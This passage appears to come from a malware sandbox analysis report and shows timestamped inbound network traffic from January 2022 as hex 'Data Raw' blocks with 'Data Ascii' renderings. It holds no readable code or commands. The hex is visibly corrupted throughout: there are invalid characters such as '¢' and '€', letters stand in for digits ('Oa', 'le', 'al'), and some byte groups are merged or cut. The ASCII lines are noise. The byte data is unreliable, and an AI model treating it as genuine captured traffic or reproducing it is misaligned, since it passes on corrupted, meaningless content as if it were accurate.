3f 32 df 3e 9f b7 €9 0a d6 2f ce 7a 51 9f 7c 6¢ b8 38 ea 26 07 a7 08 dc al 07 ec e3 fa 96 44 b4 4d b2 d1 le fb 2c da c6 d4
bb ¢8 35 76 98 26 1f b7 62 20 al c7 4b 58 31 5f 18 fa 83 d3 34 1b 80 77 3b €9 63 84 c8 6a ee 75 44 f0 0d 79 1b 96 37 41
dc el a4 65 e7 fb 33 cb 89 6f 0d b2 74 80 e8
Data Ascii: UMEB/nFULP<O(;y0”61!//RJ<)~(CK7_'J>c]w*ou5+pXW{v&CcrFx@m'yCHy~E88@7?2>/zQ|I8&DM,5v&b KX1_4
w;cjuDy7Ae3ot

2022-01-14 03:59:48 UTC 1257 IN Data Raw: el 21 6d 2e fc eb 4f 24 91 33 3c d4 Oa bc 70 d1 40 da 09 97 2b a0 d9 29 c2 d9 3c 8e e2 45 8e 1c 92 7c Oa 5f
ae a7 8d cb b4 d3 17 50 86 f4 59 83 5f 4a 02 cb 3e 7c¢ 40 d5 03 9c 67 95 50 cb 4a c5 al 41 b0 3f 0d 64 90 61 29 fO 7b dd
46 0a 90 e9 59 ba Oe b9 bl 44 c8 f5 90 bc ee d4 bl 55 d4 03 df 20 b2 6b 90 f4 06 03 eb 8f 92 2e 9a b0 35 33 e5 8¢ 91 96
63 ¢c8 e6 78 0589 50 92 22 db d0 17 c6 70 fd el 9 56 e4 37 36 fb c2 8f 43 d2 eb 4a e6 40 1e a8 10 98 ae 12 f7 8d 01 cb
1d 56 b0 ba 1b 57 87 45 65 83 88 57 28 01 0f 14 60 6a d2 51 10 e3 3e 9e a0 dO d8 8b 5f 20 7b af c5 bd 15 16 e0 60 00 02
d7 d4 be 20 60 65 6¢ 92 67 d2 54 2e 0f ac 66 34 f8 31 3e c6 83 fa d8 f8 c0 80 54 1d 09 68 43 Oc c0 69 9c 75 c6 55 2d 55
le be df 67 fc 8a 18 0d 97 8f ad b6 92 f3 10 5a 9a 89 11
Data Ascii: 'Im.0$3<p@+)<E|_PY_J>|@gPJA?da){FYDU k.53cxP"pV76CI@VWEeW(jQ>_{ elgT.f41>ThCiuU-UgZ

2022-01-14 03:59:48 UTC 1273 IN Data Raw: 82 3d 70 41 63 23 5b 5b 9b db 6f 72 bd ee 1c 3d Oe 67 c4 ac 3e 86 13 2f 0a 18 94 75 de Ob ca 55 6b 1f ea 7f
e7 Oe 8f cb Oe 99 40 Ob 9e 6d 05 f8 29 c6 85 9b el 6b 17 e7 39 a7 57 85 8a dc 37 51 2d af 3d c9 57 53 5¢ 2a e8 f5 5¢ 67
ea 4l ed 9e f6 25 aa 28 e2 fd a4 3f ef 63 fd 69 13 31 b0 8e 48 18 d1 8e c7 35 cc 94 a2 f0 a6 cd 59 3d 5d c5 de da 73 b7
12 ea Oe 54 8b 2 f9 ce cb €9 2d b2 79 f1 85 b4 c4 6e db 8c b2 14 88 f2 7c 22 f6 de d3 30 ae af 0d e0 5d ae b7 5f ec cd d6
22 9b 0d 6f 87 al b3 82 f6 70 8¢ f2 50 8d e5 ¢9 9c 3e c3 ee af f5 97 72 88 21 19 6b ¢9 30 3c 25 8c 5a 1e 3d 3c 80 ec a4
15 04 3f 87 69 17 bl 51 7f 81 25 14 29 a8 58 aa a2 d6 ca 58 59 8d 45 72 42 cc Oa 2c 4a 57 bc 10 49 7c 4d c4 d5 68 3c 1d
98 d3 e4 c3 e5 a4 0a d7 67 74 65 aa dc 64 5¢ 0f 9a 12
Data Ascii: =pAc#[[or=g>/uUk@m)k9W7Q-=WS\*\gA%(?ci1H5Y=]sT-yn|"0]_"opP>r'k0<%Z=<?iQ%)XXYErB,JWI|Mh<gted\

2022-01-14 03:59:48 UTC 1289 IN Data Raw: ¢4 7f 00 Oe 59 2b 67 da e9 d0 15 d2 ef 98 b4 0a 5a d6 82 80 e4 b2 e4 b9 5¢ 9¢ 20 56 49 e5 9f 75 76 3a bl 7d
60 f9 79 5a 83 f6 93 73 b7 1d 65 87 b0 55 ed 98 95 5a 1c e7 4c 5d 48 bf 11 2b 36 b3 38 d9 a3 74 43 40 1d 45 6e 66 96 93
2957 43 32 13 db 3b a9 62 8a ed 46 44 f2 4f 90 6e 2a 26 9e 38 8e 5a 55 ac 07 e6 5¢ 54 88 97 20 8a 94 26 d8 bd e0 2f dc
96 58 ad 7b 60 1f 2a 86 cf 6¢ 7a af cc 2a fd 27 3f 26 e4 51 6d 1a 62 46 83 4c 22 c0 ac ea bd 7c 3e 99 32 10 70 22 3d 08
d9 bc 37 ¢9 e0 9d b3 fa df 50 d9 44 80 ad 8b 0f 9a 62 3c ca 67 35 c¢7 da 85 23 80 80 f1 11 17 98 12 d6 1e 39 09 05 b2 69
11a5c5c082 a7 b6 d4 1b 9e 77 1c 26 50 69 89 31 ac 5b 54 3b 57 2e ab 99 ec 24 a5 37 a9 ¢6 94 36 77 1e c7 dd af bb 5b
a7 2f b2 e3 fb 9f b2 5f b8 d2 ¢7 d9 93 0d bc ¢7 93 c2 25
Data Ascii: Y+gZ\ Vluv:}'yZseUZL]H+68tC@Enf)WC2;bFDON*&BZU\T &/X{ *|z*'?&QmbFL"|>2p"=7PDb<g5#9iw&Pil
[T;W.$76wW[/_%

2022-01-14 03:59:48 UTC 1305 IN Data Raw: 1c 47 1e 3b 65 06 53 cc d2 75 f5 72 37 9e 9f 2d ce ¢3 b5 f3 35 57 f5 ¢6 15 9a c2 d4 dd ea 84 32 6f 89 0d 09 1d
Oe dd ff 11 4e f7 fc 14 54 12 22 98 76 80 10 c2 75 61 db 98 73 d7 4a a0 da aa a7 cb d7 e3 91 f1 73 e6 96 7 27 c0 f8 81 22
98 00 fe 5b 6b 49 21 94 49 43 53 fa 17 4a ca df 98 55 1e 2b 45 9c bc 84 6¢ b9 17 67 ea ee fb ac €5 1f be b3 09 c9 db 11
21 df 4b a8 2c Oa e9 a0 f3 27 f7 Ob 97 20 a0 62 69 71 eb 05 3d fe a8 19 7b 05 2f ¢6 4a 22 3f b1 84 f6 83 11 7d 54 23 24 e8
ae 57 fc 89 85 84 88 89 00 4b bd 3c 95 db 54 6b c8 8e b5 cd 91 88 2b 15 f0 26 a2 a7 77 5b 77 24 07 eb b0 de 23 fa 5d 10
9e 34 5f cb 76 71 f3 44 ed aa 46 18 39 60 27 ea 3c 00 1a 0a 97 c4 ac dc ed 72 2d 23 b4 24 44 £3 00 8e 1b 4f 78 a6 07 7b
211c 29 45 63 c6 5a 84 11 a7 45 86 37 7e a7 23
Data Ascii: G;eSur7-5W20NT"vuasJs"[kI'ICSIJU+EIgIK," big={/3"?}T#SWK<Tk+&w[w$#]4_vaDF9"'<r-#$DOx{!)EcCZE7~#
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 1321 IN Data Raw: 48 e4 de d1 79 7b e9 8d 86 43 b3 4f 95 dc 3a ef 05 35 €9 89 60 29 10 1f e6 9d 1e 07 b5 05 58 8e 9c fe ff fa Oe
7c2aa23a31a0 77 61 b7 be 18 ba c8 b9 Oe 58 12 c5 b4 e7 89 bl 65 4e 2e e7 dc 19 e2 d2 f3 96 f0 6b ¢3 72 7d 17 07 aa
0f 92 88 b4 07 e7 45 34 ab 3 4e 12 c7 46 43 42 2b 76 34 eb 20 63 40 84 81 a9 4a 65 af 61 90 52 99 4f Of 82 f2 Oa f5 9f 03
82 26 d8 37 29 8a 63 bc 53 91 71 de 81 6b a3 a8 b1 4a 3e 15 57 3f 5¢ be 96 61 80 6d 9f €3 8e dc 48 d6 84 60 cb d6 91 70
44 31 f6 25 e7 92 e2 39 b5 cc 62 cc 8a 91 e9 8d be 7b 59 7b b4 c4 0d 6e c6 fd a2 ab 86 7a 8b 2e cf 99 da d1 9e 11 f6 cd
ae de a7 d0 e0 d9 07 fe 8a a2 81 81 42 a7 48 9a a0 aa 29 e2 c4 c4 e5 bc e3 8c a6 d5 88 3f 84 d1 dO c0 56 c9 29 cf 66 f2
17 71 55 fc 74 87 27 a3 68 05 f6 d0 3d 79 7e 21 a2
Data Ascii: Hy{CO:5")X|*:1waXeN.kr}EANFCB+v4 c@JeaRO&7)cSqkJ>W?\amH pD1%9b{Y{nz.BH)?V)fqUth=y~!

2022-01-14 03:59:48 UTC 1337 IN Data Raw: 09 db b6 c0 35 ba ff fe a9 ed d0 3b b5 ¢5 64 ¢5 71 7c 97 81 ba 3b 03 44 3b 02 b7 e6 Ob €3 32 d7 dd 1a b5 ba
99 41 41 9f f9 4f el 6a ac 69 27 84 08 70 3e fe f7 b8 a3 05 9c 98 f4 3 28 0d 20 22 6d 46 79 fe bf 8b d5 91 b5 99 00 aa 96
09 70 df e4 6d 1a c9 10 a9 24 ba 91 2a dc d2 al ea 51 68 da 72 20 81 12 4d 42 31 3f 86 €8 00 4a 8c 6b 86 97 78 c8 9d ba
0d 60 47 17 55 7e 80 3c c8 40 bb 74 bd b8 b1 b2 75 fa f2 60 94 6¢ 7c 84 48 72 83 a7 89 27 2f 4b 56 4d 17 e2 db fc 86 fO
1154 7b 6e 09 10 61 d7 23 22 0a 58 cb f8 91 4a 61 c4 86 26 2 ba 6b 28 bd 10 al 5d 1d 5f 2c 25 72 b2 80 2a 57 e3 4b 3a
8f 9b 01 35 3b 48 03 2e a4 85 b7 47 72 6f 30 df Ob 36 0d 8a 05 18 95 cb c9 23 66 ec 2b 1e Oe 87 88 92 c3 88 fa ff 9e ac
00 82 e4 ae el 03 c6 80 df 9d b4 8f 65 eb 24 d7 73 8c
Data Ascii: 5;dq|;D;2AAQji'p>( "mFypm$*Qhr MB1?2Jkx GU~<@tu’l|Hr'/KVMT{na#"XJa&k(]_,%r*WK:5;H.Gro06#f+e$s

2022-01-14 03:59:48 UTC 1353 IN Data Raw: 40 df 10 fa 58 a6 d1 5d al ac 40 21 3c d6 3d ce 7b dd 1b ab 83 2e 63 09 36 17 3e d2 ae f9 7c 92 c0 0d f3 a4 07
0f 5d 46 c4 50 a8 39 d3 fa ac 10 d6 cf 23 Oe 3f c4 f5 91 fe b4 5d b3 e7 €2 93 c4 f5 08 36 7b 0f 09 €9 10 5a ab a0 06 15 3a
78 ad c4 82 c8 fb c6 cc 66 d9 4b 44 84 1f cf b9 2a a0 23 08 4a b9 d9 a8 a3 bb 79 2d d7 10 02 al fb eb ec 11 43 f7 cd 7c
bc 14 e5 6¢ 04 a0 c4 fc b7 3f 89 e6 39 9f 4d dc d1 fe fe 4f 36 a5 6e ad f2 06 7c 97 b2 9e c6 1a 90 fb 45 be d2 92 a6 82 35
6ac7al 06 31 el e8 3251 b5 cfe8 7e b0 b6 83 97 4d fa f8 ¢8 d2 b3 8d f7 26 c8 cc 57 b0 48 2c 4b 2d 8 60 Oc 78 a6 3d
eb f4 4b 1a 5d 83 97 b9 26 7f a4 e3 ef cf 49 dd a0 b0 6d 87 a8 b0 90 72 3f be Ob 3 da 9e 60 db 0d 16 14 c7 36 49 cc e9 fa
18 4c lafl cf92 ad e8 62 18 f1 a8 ea a2 f8
Data Ascii: @X]@!<={.c6>|]JFP9#?]6{Z:xfKD*#Jy-C|I?9MO6n|E5j12Q~M&WH,K-"x=K]&Imr?'6ILb

2022-01-14 03:59:48 UTC 1369 IN Data Raw: 03 cc 53 ee a0 8d Oe 12 2c 73 ¢7 c9 e6 cd e2 91 49 fc 23 82 14 ed 3f ae 22 c1 de d2 9d fd d7 52 0d 4c 4d 5¢
08 55 2c bf 5¢ f6 db f9 76 55 3e 75 ce ¢9 21 26 d4 9d c6 2 ac f7 0a 54 97 4b a3 92 47 8¢ 78 8e d2 af 18 ef 54 a9 32 6d c4
bc 9e 1f 49 cb 37 22 cd b7 7f 96 2f fc e2 78 ae 2b da 99 f9 f7 6¢ b2 c2 66 f9 bl b6 ca dc 8e 2f 92 9f 2e 4d ba 5b 5¢ 14 5f f8
20 fb d3 51 a0 a6 3c 98 ad 59 97 64 aa 34 €9 46 fb 94 52 8d cd 9e 6¢ 19 6f 9f be 89 a8 18 4f 75 02 b5 fa 18 a2 32 65 fa 34
4b 24 6f a6 b8 f2 d7 f0 30 48 fe c2 99 51 0f a8 Ob 72 36 fe 67 73 4c b0 74 d8 28 ca ce 87 45 b6 €0 8b 6d 80 df 1b 69 1d d3
2a 4e 9e 0a 03 db Oe 1f 41 7e b8 2a 29 ¢4 6d 77 81 55 13 65 3a €9 f5 1e 5d 3¢ 13 ce de 7c 7d b6 ¢7 9¢ 85 59 99 1d 1b 30
ba 14 2e 96 c3 b7 05 95 82 e7 70 6f Oc 42
Data Ascii: S,sl#?"RLM\U,\vU>ul&TKGXT2mI7"/x+If/.M[\_ Q<Yd4FRIloOu2e4K$00HQr6gsLt(Emi*NA~*)mwUe:]<|}Y0.poB

2022-01-14 03:59:48 UTC 1385 IN Data Raw: ac b7 87 35 82 8d a6 69 8d f1 5c 4c 3c 6f 09 23 58 bf 25 4e c5 44 e6 b7 97 a8 ac 90 7 22 cd d3 c6 a8 af 13 7a
91 4a dd ec 19 f6 a4 c5 63 36 f3 8f f2 92 a4 06 29 78 33 70 €6 f0 24 84 b2 Oe 74 cd b1 Ob d1 d7 53 e0 6¢ €8 87 2b f1 b7 bh
6f 6¢ ee eb c5 f2 bc eb 05 b7 98 13 5 78 59 b5 45 c2 49 df fb 3e 55 el 27 83 a6 a7 d5 16 73 36 36 90 7b 3b ce €0 6d c9 51
42 bd 66 36 35 c6 ef b6 7b fc d9 27 44 c¢1 30 87 09 e6 fO 0d 69 e5 5f 69 96 70 ce €0 f2 ef 28 2a 44 €3 33 79 5b 2d 7f 61 8e
5 9b 60 6¢ a3 41 c1 f6 3c 32 fa 32 cd 7 4d aa 58 47 4d el 28 3d ec 76 Oc 72 88 92 37 cc e2 f7 75 6b 48 c8 ca 36 {7 c1 a2
3e d2 88 aa d9 b5 a9 fb 36 7a d6 d9 fa Oe 24 f3 82 4f 98 c7 b3 a5 ac c9 92 41 d8 d0 01 26 fd 8d Oa c4 ed 46 01 bc 2d a0
9d el Oe 88 18 ff b5 d2 1a d4 1a 93 c7 02
Data Ascii: 5I\L<0#X%ND"zJc6)x3p$tSl+olxYEI>U's66{;m_Bf65{'D0i_ip(*D3y[-a IA<22MXGM(=vr7ukH6>62$OA&F-

2022-01-14 03:59:48 UTC 1401 IN Data Raw: 80 d5 50 91 16 a4 61 ¢8 96 92 1c 32 ab 66 84 42 cc 40 ae e8 8c 5d 10 43 df 8d 96 f0 71 4d 55 10 3b 3f 6a 15
05 b7 8e 13 38 2f 72 04 8f c4 81 90 4e 9b 2b ea 35 a0 ec 66 ba 10 Oa af 65 Oc ca de d6 c4 1e 81 6a d3 b5 d7 be ac 13 4e
34 0e fd a0 42 93 56 €5 f8 75 6b 6¢ 0d 4b 39 ¢9 3a 39 11 46 04 55 14 ea d9 bf fd 39 d5 72 70 ef ed 7a c4 bf 9f 34 91 b4 fO
28 9b 25 31 9a 07 63 5a de 84 35 72 56 38 Oa c7 ch 85 27 be 29 aa 80 b3 86 7b 2d e8 41 56 05 96 bf f6 8c bb 9d 40 01 e6
95 17 d0 32 ce dc 94 4b ec 4a cf 65 52 46 6d 60 72 07 d5 1a 37 0d ec bb 02 27 39 30 7e 3b c2 4c f6 1f e8 1b f1 2e dc 8d ff
Oe le 27 ff 1e 87 09 95 59 1a 3e 5¢ 02 7d 34 a5 6 fa 34 52 bb 93 e2 69 bd 76 1f f9 49 e8 d8 dc fe ba ee 6a 6f e6 7e cc 40
4e e4 b4 4a bd 54 75 d5 bf 78 d9 c5 ce 09 2f 06
Data Ascii: Pa2fB@]CqMU;?j8/rN+5fejN4BVUkIK9:9FU9rpz4(%1cZ5rV8'){-AV@2KJeRFmM'r7'90~;L."Y>\}44Rivljo~
@NJTux/

2022-01-14 03:59:48 UTC 1417 IN Data Raw: ab 65 ae b4 cf e4 7c 51 ea 7d 65 55 3a 2e 19 f0 25 5b 15 da 41 ee el 78 7b 47 b3 28 f1 68 69 9a c2 {8 e4 ff 1b
6b 45 ee d1 44 af 47 93 89 9d 60 cd 02 a2 cb cc e0 83 bb e0 4c eb cc 10 d4 25 69 c2 b2 08 ae al ea 07 76 ae 02 b6 3a ed
2153 ff d2 51 78 da 14 e2 5d ca 8f c5 d8 62 03 6a 23 38 90 8f d6 e7 df e6 1b 37 74 b2 b8 26 02 76 13 d9 30 c5 ed ec cO
7a 67 8c eb bl 5b 36 e0 05 fb Ob bc fc 65 3d 96 6d 67 cc a7 34 80 36 64 f3 4b €9 a0 c6 41 23 6d c2 2e 1d 19 9b ea 45 99
d6 34 de bb 5f 23 2e ¢5 44 71 13 38 ¢1 05 5b d5 49 1d f1 96 ¢5 ¢3 31 8¢ 40 ¢5 18 41 52 39 7b 6a 7c 79 57 26 06 2d 44 59
29 05 44 b5 0d a9 1c 00 91 99 9a 5d a5 9f bd 90 29 38 b9 db 71 c5 0f 3d 99 22 85 87 a6 fc 53 9c 02 f8 7e f3 17 4c 5¢ 31
13 8d 92 8e b0 f2 a2 8e 4c 15 cb f5 9e 6b 83 96 47 07
Data Ascii: e|Q}eU:.%[Ax{G(hikEDG L%iv:!SQx]bj#87t8&v0zg[6e=mg46dKA#m.E4_#.Dq8[11 @AR9{j|yW&-DY)D])8q=
"S~L\1LkG

2022-01-14 03:59:48 UTC 1433 IN Data Raw: 8f bd ed 92 40 db 3 e2 aa 04 b0 66 b7 02 22 €0 4d 6e d5 da cd 60 47 18 58 bf a9 5b c1 62 dc da 1a 48 49 19
laca 79 25 b0 95 48 6a 1f 57 4c 63 9b af db d2 e5 6a a9 85 1c 7b 72 4f bl 14 c6 18 90 ea c3 be 1d 2d 06 41 74 a6 €8 5d
a3 a9 45 d2 el 76 eb 84 0d 9d c8 3e 16 b0 a8 83 fb fa d5 5 f1 fe c2 d1 11 c4 bd 62 Oc 8c 9a 61 93 bl 13 49 c9 €6 07 6¢ 6¢
70 ce 2d a7 72 9b 68 13 8d d0 ad da f9 0d 01 8 aa 1f c1 8 44 47 55 14 7d f7 40 0d c7 ae 88 02 95 db b9 43 a5 e4 {7 68
30 Oe 68 03 3c fd 12 d1 40 €3 90 a5 85 01 39 66 4f Oe 6 b2 e5 ba f4 9a b7 44 5e 50 3a af fa 56 17 99 d3 7b 95 d3 ea 98 fc
ef be 5a e7 1c ef da a7 af ce 5d 2b ee 93 7f e2 08 df 52 06 ea 07 10 af ef f 4f 31 a2 89 b5 03 23 d4 b d8 el 03 56 10 6b
2f3d 49 7b a2 d9 c8 93 89 07 37 95 ff 53 b7 22
Data Ascii: @f"Mn’GX[bHIy%HWLci{rO-At|Ev>balljp-rhDGU}@ChOh<@9fODAP:V{Z]+RO1#VK/=I{7S"

2022-01-14 03:59:48 UTC 1449 IN Data Raw: 38 48 0f 68 Oc 74 eb 37 b7 8a Oc b6 c2 36 52 47 58 90 e3 1c 76 d5 09 60 70 1c 89 dO 2f 37 28 68 44 86 27 7a
98 ¢9 89 59 82 96 d9 96 b6 ef 8e 9b 01 f8 29 62 f1 43 77 06 09 02 dd 74 2b 5b aa 56 de af 91 ef 38 bb 42 36 b9 c7 c6 38 cf
62 2f 8a 64 7d d7 e4 e4 93 Oe eb 7f 45 e4 df 3d 57 4b 69 c2 c5 6f d0 67 4b ¢3 2c e6 c6 db 4e a3 56 b4 46 aa c2 0d ed 08
ec c6 10 0a dd c9 b0 c0 d3 57 7b 78 d3 ff 12 40 75 39 32 el 7d 3c d7 e7 30 c5 db da ef a6 5c 76 b4 f3 58 a7 f5 9f 1e 13 99
98 10 c2 07 09 26 34 91 3b Oc Oe 4c 1f 40 7d 6f 32 67 05 ec 92 08 8a 68 09 93 71 62 59 a6 08 c3 2a 81 11 0d 05 5f 09 bd
3d 40 de 17 97 ae 1a a5 4c 3b 8a ba b7 ba dd 94 8b b8 fd 65 b3 1d f3 b8 Ob fa 94 72 48 23 65 3¢ 9a b6 eb d9 cc dc 3f 87
95 2c da al b8 98 32 fd 7a b8 a8 de 9f a0 a2 9c a3
Data Ascii: 8Hht76RGXv p/7(hD'zY)bCwt+[V8B68b/d}E=WKiogK,NVFW{x@u92}<0\vX&4;L@}02ghgbY*_=@L;erH#e<?,2z

2022-01-14 03:59:48 UTC 1465 IN Data Raw: 28 45 8¢ 0d 60 €9 09 14 d4 8c d4 al 76 27 98 b3 15 12 b3 81 dO0 bf ce 49 6b 8c d5 16 3a d9 b0 c2 42 1f c2 8e
9852 69 ee el 1d f1 37 24 c3 32 c9 04 b4 02 da f7 2f 80 6b b7 e8 4f d3 25 97 bf 40 42 9e f9 8b b6 4a de 1f Of 5a 35 38 09
b7 d2 8a aa d7 7e 27 ae c2 b4 11 2a 26 9d 84 68 7e 36 e7 fe cc fd 8a 53 96 bf 1c 8d b2 99 ab 38 5f 5e 79 61 8d 37 89 bd
09 90 e2 2c b5 8d ac 2d 17 8¢ 92 1b 75 99 eb f2 67 8f b4 ed 7d e4 b6 25 00 d3 95 d7 91 bc 6d e2 d6 f2 95 1a 3c 3c 73 34
a8 d9 al 5e d7 2c 84 5d 9c 5f 45 45 a6 b8 88 f5 04 03 4f 9b 71 77 83 93 74 67 93 ee 36 09 7 2e 07 62 ba 99 ce 78 94 67
d4 bc e7 2e 25 7a 45 cc 6f dO 4d 2d 38 63 23 45 d6 69 ec ad 63 23 22 06 14 42 04 09 61 22 fd 2d ae 5d a6 a5 2f 28 2c 1la
18 30 b0 08 bc 2d 3 f7 9f 37 44 8e 63 Oe 8e 84 f6 8¢
Data Ascii: (E'V'Ik:BRi7$2/k0O%@BJZ58~"*&~6S8_"ya7,-ug}%m<<s4”,] EEOqwtg6.bxg.%zEoM-8c#Eic#"Ba"-]/(,0-7Dc
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 1481 IN Data Raw: 11 5a e7 24 a5 48 8c 7e 9b 32 e4 6¢ 96 83 d5 2c 5b 6b e6 c9 84 fb 75 4d 76 58 d4 d4 96 93 Oe 39 37 68 Of Oa
c4 cf 5d 64 b2 07 30 1a 64 7a 23 a0 77 27 Ob cf 72 b4 bc 06 1e 2b a2 e7 6d 4d 65 c8 94 c4 40 af 05 98 9b 1c a2 10 f9 e3
4f b2 d3 de da b8 ca 62 45 c3 75 el 57 ea 4c d1 2e 73 2e a7 cO b8 17 78 ea 46 27 59 30 6a 62 77 7e 22 dd 39 07 82 ed
14 a0 c5 73 €2 d8 95 ad 96 4b 2c 75 da a7 ed 39 e3 f9 3b 4c 95 26 c¢7 b6 07 f0 38 01 ad 89 18 bf f1 48 d3 1c 19 48 a5 3d
b4 c6 65 be d2 ff 80 06 af bf 31 5e d2 d6 e4 71 bb a7 03 36 1d 4c 45 51 58 d2 63 ec aa 52 €8 47 82 e2 6e bd b7 f3 c4 4f 6¢
c5 7d 90 89 dO eb 1b 92 7d 7b f7 94 64 ec f4 01 a2 8d fe a2 57 8e ec 63 c4 42 68 43 db c0 88 51 66 16 61 5¢c 53 9a ac 98
a9 04 68 f1 b7 bd 48 58 de 03 8b 32 95 4b 57 fe 8d 66 d4
Data Ascii: Z$H~2I,[kuMvX97h]d0dz#w'r+mMe@ObEuWL.s.xF'Y0jbw~"9sK,u9;L&8HH=e1"q6LEQXcRGnOI}}{dWcBhCQf
a\ShHX2KWf

2022-01-14 03:59:48 UTC 1497 IN Data Raw: a4 96 92 ee 62 cc cd c6 a2 ab 02 5d 8 9f 21 19 70 07 16 03 2c 91 85 ee b1 15 e3 al 76 1f 09 3f dc 48 {7 5f 1b
78 1lac6 8c 4503 c9 00 a5 75 d0 a4 29 eb 92 8f bc 89 0f 00 92 03 db 35 aa a2 fa a0 70 fO af 5b ee 57 a2 22 ab 2b 78 04
c2 ffac a7 Oe e5 32 08 d1 07 da 52 Oc 90 fd 7b 2e 08 4b 86 8e be 8 b8 64 45 df 12 f8 60 3b 56 3d 8a 85 bc 8e e8 9c 52
01 3c ef 10 e7 fb d0 68 45 64 3c 6¢ 65 c5 aa 57 77 d6 6d 50 Oe Ob el 10 99 e9 d8 76 1b 8c e0 b3 ae e8 bl 5a 2e ec e4 86
34 5b 76 34 75 7d ac 62 d7 f7 f0 5d b8 eb a3 da 32 7d 69 73 1d a7 38 e0 d1 da 6f 4d 02 b9 60 24 eb c6 de ad 6¢ 53 7d e3
cb 91 4b f2 Oc 41 38 b1 78 5c¢ fe 95 6b b0 f4 66 2d d4 9a 12 4a 6d 77 35 96 2d Oa 7b 86 bc 35 12 79 29 5a 01 c4 cd 52 5f
a2 0a 58 ed 0f 15 16 84 61 72 5a 9¢c 5a 27 11 4a 71 fd
Data Ascii: b]!p,v?H_XEu)5p[W"+x2R{.KdE;V=R<hEd<leWwmPVvZ.4[v4u}b]2}is8oM $IS}KA8x\kf-Jmw5-{5y)ZR_XarZZ'Jq

2022-01-14 03:59:48 UTC 1513 IN Data Raw: 27 be 58 a2 79 60 5f 31 79 b6 4f 50 f5 6a 54 77 2c 76 62 34 8e 51 0d fb 54 42 48 bc 12 6a 24 5b d5 d6 €8 89
65 aa 3a be 71 01 6b 28 f8 aa cc 2d 0f d1 ab 55 13 0a 43 7e €9 7b 22 6b 8c cb 80 12 47 b4 da 7f 06 a8 31 Oa e5 5e d3 dc
d3 d1 cf f9 5b 84 50 9b 7f 2c 3b 90 5f 82 1a 9c €6 25 95 a5 a9 20 58 26 46 db 5f e7 bb 9c eb 14 64 dc Ob 94 1f 44 db 10 86
3f 6f 91 2f a7 bf 30 74 cc a5 fb 48 a6 fe 64 d4 51 9 94 67 a2 Oc 58 a8 98 64 be 7b 48 ee b0 02 03 1f 0 24 42 d5 58 e7
06 ec 66 a0 8e 09 23 a4 11 6b c6 08 3d 47 54 ee 02 1a 23 bf 4¢c c3 a8 08 9b 37 fe 60 79 Of Oa 6d b5 d4 eb d2 e7 65 08 9e
Ob 00 c4 88 e7 7d 64 15 b0 f9 a3 e5 42 49 93 eb f0 8b 1a b4 91 75 05 bc 78 2b ea 60 31 9b a8 e7 f4 ac 9¢ 8d 3d 51 5b 2d
f9 40 Oe ca b9 c6 el 17 e3 6¢ 39 4e 1f 9f 3c 3a Oc 7c
Data Ascii: 'Xy _1yOPjTw,vb4QTBHj$[e:qk(-UC~{"kG1/[P,;_% X&F_dD?0/0tHdQgXd{H$BXf#k=GT#L7 yme}dBlux+ 1=Q[-
@I9N<|

2022-01-14 03:59:48 UTC 1529 IN Data Raw: c1 20 06 a0 Oa 72 71 cb 36 83 e2 2c 2c 17 b3 f0 2c 4a d6 88 5a da af 28 de Oc 5d 66 52 d6 05 fe ba 1a 48 c2 cc
6a ef eb bf 74 34 fe a5 9a 5e a8 ¢3 49 43 a6 04 77 9e €9 0d 61 51 fb fc 95 72 9a ff a0 1c d1 6b 21 b4 b0 fb 09 91 e8 c6 82
7c 825d b7 47 2b e8 3c 01 5f 73 15 f8 24 66 d2 1e 73 46 31 38 el d8 d2 4b db 8a 9e 35 54 a2 78 5a e3 dc 20 e4 3e 84 c4
c5 68 f9 08 6a 23 72 13 d2 27 b0 el b3 26 9f e4 7a be Oc 6d 86 a3 9e f7 c3 48 75 9e 1f ef dd 85 12 57 aa 8c 1a b9 7c 66
d3 6¢ 2e 9a d2 91 4a 82 9f 45 ca 6d 08 80 c0 8f b5 3f el 79 e0 d9 03 ee 3e f1 62 47 45 89 53 81 20 73 d5 94 3f 05 4f 6a dc
32 9a b6 05 66 2b ea a6 88 b4 2e 38 31 71 46 84 10 72 50 5¢ 35 e0 30 30 09 89 8a 40 22 20 de 58 e3 1a 7f 1f 1c 54 84 30
cf 26 f8 90 d9 1f 87 40 ef al a6 f5 1d 12 6 07
Data Ascii: rg6,, JZ(JfRHjt4"CwaQrk!|]G+<_s$fsF18K5TxZ >hj#r'&zmHuW|fl.JEm?y>bGES s?0j2f+.81qFrP\500@"
XT0&@

2022-01-14 03:59:48 UTC 1545 IN Data Raw: 1d 8f b3 e6 f1 07 ed 93 2f 18 93 2e c0 ed 4c 3e e3 el 6d af c0 c3 ff 48 58 55 52 e4 70 f9 bf 58 28 56 56 04 95
6a fb 57 96 73 bc 32 d7 a3 58 f4 b3 9c bb 8d 5e 09 71 17 12 ce aa 2c ba fd 3e a9 87 8a 52 4d 54 96 ed 2a 90 ab ec ff 79
1d 21 f9 7d 3b 34 28 a8 35 b1 d9 a4 da 3c f9 6e 4a 1e 6¢ fb 34 bc 74 0d 9f 57 1c b6 73 74 1f 3a c8 5e e6 b3 aa 3d 48 c4
12 59 98 6e 87 66 26 39 ea f2 8b 8a d9 72 fd 30 c1 ff 8b ed fd c5 10 4b ed f0 58 98 c9 5d 4c 64 29 04 5d 82 f3 ff 80 dO f4
b6 36 98 b0 c1 df 6e fe 48 44 e2 06 c4 d0 ba c5 6f 8a ca fd cc 11 e3 f3 63 1f 12 a2 a5 d1 ec 64 €9 bb 59 df a4 41 {3 38 63
f1 5e 56 9d 9f c3 32 5f a8 74 5e b0 e7 16 02 02 02 a8 a6 71 bb 8a 2f 57 2e dc a3 e5 06 d3 a6 2e 57 31 6b d8 77 45 91 3e
55 96 96 a8 86 e7 63 40 2f ec 3a 6f f1 7a e2 8a
Data Ascii: /.L>mHXURpX(VVjWs2X"q,>RMT*y!};4(5<nJl4tWst:"=HY nf&9r0KX]Ld)]6nHDocdYA8c"V2_t q/W..W1kwE
>Uc@/:0z

2022-01-14 03:59:48 UTC 1561 IN Data Raw: 9c 86 e2 6a b3 ba e6 3d 72 3d 63 62 ff 6¢ f5 57 86 59 a4 d0 6¢ 9b ad €9 52 3a 0b 0d 59 cc bd d6 45 27 2b 4b
dd 5f ce 5a 45 ea 97 03 ¢7 5b 89 e3 de ca 62 db 96 b3 8c 3a f6 08 36 a4 11 5b 84 46 11 99 9d ee 4a 2e e6 d9 79 36 96 c6
